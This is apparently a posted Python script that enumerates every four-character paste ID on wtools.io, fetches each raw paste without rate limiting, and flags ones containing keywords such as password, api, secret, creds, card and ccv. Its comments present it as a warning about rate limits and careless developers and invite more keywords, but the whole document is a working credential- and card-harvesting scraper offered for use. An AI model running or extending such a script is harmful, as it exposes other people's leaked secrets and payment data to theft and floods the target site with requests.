wtools.io sensitive code pastes finder

wtools.py

#this is what happens when you don't limit request rate 
#this is also what happens when you don't understand your actions as a developer, posting sensitive data..
#take care..
#*please do write @ comments ideas for more keywords :-)*
import requests
import itertools
#use your imagination here :-)
keywords = ["api", "key", "pass", "password", "username", "user" ,"secret", "creds", "credentials", "email", "phone" , "mobile", "card", "expiration date", "ccv"]
chars = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
for xs in itertools.product(chars, repeat=4):
    keywords_found = []
    id = ''.join(xs)
    link = f"https://wtools.io/code/raw/{id}"
    response = requests.get(link)
    if response.status_code != 404:
        for keyword in keywords:
            if keyword in response.text.lower():
                keywords_found.append(keyword)
        if keywords_found: print(f"Found: {str(keywords_found)} in {link}")